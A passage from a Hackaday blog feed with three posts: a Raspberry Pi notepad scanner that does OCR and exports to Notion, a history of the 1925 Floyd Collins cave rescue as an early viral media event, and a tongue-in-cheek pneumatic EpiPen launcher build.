His custom scanning station addresses that first part of the problem: getting consistent shots. The images are captured using a Raspberry Pi 5 with attached Camera Module 3, while the 3D printed structure of the device makes sure that the camera and integrated lighting system are always in the same position. All he needs to do is place his notepad inside the cavity, hit the button, and it produces a perfect shot of the page.

Using a dedicated digitizing station like this would already provide better results than trying to freehand it with your phone or camera, but [Spencer] took things quite a bit farther. The software side of the project puts a handy user interface on the 5 inch touch screen built into the top of the scanner, while also providing niceties like a REST API and integration with the OpenAI Vision API for optical character recognition (OCR).

Those with an aversion to AI could certainly swap this out for something open source like Tesseract, but [Spencer] notes that not only is OpenAI’s OCR better at reading his handwriting, it spits out structured markdown-like data that’s easier to parse. From there it goes into the Notion API, but again, this could be replaced with whatever you use to collect your digital thoughts.

A device like this would go a long way towards answering a question we posed to the community back in January about the best way to digitize your documents.

hackaday.com/2026/04/16/deskto…

Floyd Collins, the unfortunate star of this post. (Public Domain)
Information, it seems, flows at the speed of media. In the old days, information traveled with people on ships or horses, so if, say, a battle was won or lost, it could be months or even years before anyone back home knew what happened. While books and movable type let people store information, they still moved at the speed people moved. Before the telegraph, there were attempts to use things like semaphores to speed the flow of information, but those were generally limited to line-of-sight operations. Carrier pigeons were handy, but don’t really move much faster than people.

The telegraph helped, but people didn’t have telegraph stations in their homes. At least not ordinary people. But radio was different. It didn’t take long for every home to have a radio, and while the means of broadcasting remained in the hands of a few, the message could go everywhere virtually instantly. This meant news could go from one side of the globe to the other in seconds. It also meant rumors, fads, and what we might think of today as memes could, too.

You might think that things “going viral” is a modern problem, but, in reality, media sensations have always been with us. All that changes is the number of them and their speed.

One of the earliest viral media sensations dealt with William Floyd Collins, an unfortunate man who was exploring caves during the Kentucky Cave Wars.

Background

Mammoth Cave in Kentucky had become a major tourist attraction. The accessible entrance to the cave was located on land owned by the Croghan family. The massive cave system had been made famous in the 19th century, and with the construction of a lock and dam nearby in 1906, Mammoth Cave became accessible to ordinary tourists.
Rescuers weighing options at the entrance to Sand Cave. (Public Domain)
However, the cave wasn’t completely under the Croghan land. There were also other caves that may or may not have been connected with Mammoth Cave. This led to fierce competition. The Croghan family suppressed information about exactly what land was over the cave. Meanwhile, other cave “owners” would intercept people heading for the cave, tell them that Mammoth Cave was closed, and “helpfully” direct them to another location.

By the 1920s, George Morrison blasted new entrances to the cave on non-Croghan land. There was fierce interest in finding new entrances to the cave or nearby caves to capture tourist money.

Back to Floyd

Floyd Collins found an entrance into what would become known as the “Great Crystal Cave” in 1917 and opened it to tourists in 1918. Unfortunately, the cave was hard to access, so it didn’t make much money.

Floyd had started entering caves in 1893 at the age of six. He discovered his first cave in 1910. But Great Crystal Cave was too far off the main road. He entered into a deal with three farmers who owned land closer to the main highway. If Floyd could find a suitable cave or, even better, an entrance to Mammoth Cave, he’d partner with them and create a mutually profitable tourist attraction.

Floyd found a hole in what would become known as Sand Cave. Some of the passages he had to move through were as tight as 9 inches, which, of course, would not be suitable for tourists, but they opened, apparently, into a large grotto. He was determined to expand the entrance to make the cave commercially viable.

In January of 1925, he was working in the cave when his gas lamp started to dim. He tried to leave, but while trying to move through a small passage, he knocked over his light, leaving him in total darkness.

In the dark, he put his foot against a seemingly stable wall and caused a shift that pinned his leg with a rock weighing nearly 30 pounds. He was also buried in gravel. At this point, he was 150 feet from the hole to the surface.

The Media

The next day, people noticed Floyd was missing, but no one would dare to follow him through the narrow passages. His younger brother finally got close enough to determine what happened. He was able to give Floyd food and water as plans for a rescue developed.

After four days in the cave, several people tried to pull Floyd out using a rope and a harness, but they only wound up injuring him. Meanwhile, the media had taken interest in the case, and the publicity drew hundreds of tourists and amateur spelunkers. Campfires and, possibly, the electric light that had been placed to give Floyd some light and warmth, melted ice inside the cave, creating puddles of water around the trapped man.

Two days after the failed rescue attempt, rain and the melting ice caused the cave passage to collapse, and the rescue team determined it was too dangerous to dig it back out after making an attempt to do so. They decided to dig straight down to reach Floyd.

Digging

Unfortunately, the cave drew air in so they decided they could not use mechanical diggers without risking suffocating Floyd. That meant humans would have to dig the 55-foot shaft to reach the victim. The initial estimate that 75 volunteers could dig the shaft in 30 hours proved optimistic, as conditions worsened and the hole grew deeper.

Someone disconnected the wires from the light bulb and connected them to an audio amplifier to detect signs of life from the victim. They believed the repetitive crackling noise meant he was breathing.

The light bulb went open on February 11th, twelve days after the incident started. Five days later, they reached his body. He had died and had been dead for several days.

You can find a well-done documentary from Remix Films in the video below. For a movie inspired by the event, check out the Billy Wilder film Ace in the Hole (1951) starring Kirk Douglas.

youtube.com/embed/EBjAcHu0kSA?…

Viral

A newspaper reporter, William Miller, was on the scene and, being a small man, was able to actually help remove gravel from Floyd before the cave-in. His interview with the man from inside the cave won a Pulitzer Prize.
Not a circus. A cave rescue.
There was a time when this would have been only a sensational local story, but by the modern year of 1925, reports “went out on the wire” by telegraph and were picked up by newspapers worldwide. The nearest telegraph station was miles away, so two ham radio operators (9BRK and 9CHG) provided a link between the site, the newspaper, and the authorities.

The first broadcast radio station, KDKA, was only five years old, but stations provided news bulletins detailing the progress. Thanks to the media, crowds were reported to number in the tens of thousands. Eventually, the National Guard arrived to help control the crowds.

Vendors popped up to sell hamburgers and memorabilia like a macabre circus. As you can see in the video below, memorabilia about the event and Floyd Collins can be worth a pretty penny to collectors.

youtube.com/embed/1zCnUlDchOU?…

The whole thing became one of the three largest media events between World War I and World War II. The other two were Lindbergh’s transatlantic flight (1927) and the kidnapping of Lindbergh’s baby (1932). Oddly, Lindbergh was an acquaintance of Floyd’s and also flew news photos from the scene (although, reportedly, to the wrong newspaper).

While it wasn’t quite as big an event, Canada’s 1936 Moose River Gold Mine collapse was a similar situation and also received worldwide media attention. It has the distinction of being the first 24-hour radio coverage of a breaking news story in Canada.

Today

These days, sensational news stories pop up everywhere. It seems as if they hardly get started when they are displaced by another one. But we submit that “going viral” isn’t a modern phenomenon. Only the speed at which it happens. Even an 1835 newspaper was able to spur a viral hoax.

Featured image: “Mammoth Cave Saltpeter Mine” by [Bpluke01]

hackaday.com/2026/04/16/the-ke…

Imagine you and your friend are enjoying a nice sunny day, and BAM — they start to have a severe allergic reaction to who knows what. You have an EpiPen, but your friend is on the other side of a field! The solution? Obviously [Emily The Engineer] has only one option: build an entire EpiPen launcher!

Starting off the life-saving project, [Emily] prototyped with a 3D printed blank and a simple solenoid-controlled glorified potato cannon. This proved effective, as one would expect of such a project after successful tests on a human subject. However, there was one simple problem: what if you missed your initial shot?

To ensure no possible failed missions, a bolt-action magazine was retrofitted onto the device. Additionally, an air compressor placed in a mobile backpack carrier allows for repeated mobile use. Official testing was done on ballistic gel before a “war game” scenario played out involving an anaphylactic friend. As one would assume, this went perfectly, ignoring the time delay of having to wait for the compressor to build up enough pressure…

Anyways, even if you won’t be using this EpiPen launcher anytime soon, there are some actual DIY medical miracles you can look into! Something that’s a tad less insane to hack together than an EpiPen gun would be a splint. That is exactly what you can learn about here!

youtube.com/embed/veZvQduDRtg?…

hackaday.com/2026/04/16/emerge…